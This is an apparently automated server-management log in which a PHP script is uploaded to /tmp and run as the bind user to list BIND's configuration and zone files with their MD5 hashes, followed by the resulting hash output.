MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:44:04: Establishing a connection
2026-04-25 10:44:04: 

PUT: /tmp/pkp847383

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:44:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp847383; rm /tmp/pkp847383'

2026-04-25 10:44:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:48:56: Establishing a connection
2026-04-25 10:48:56: 

PUT: /tmp/pkp640767

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:48:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp640767; rm /tmp/pkp640767'

2026-04-25 10:48:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
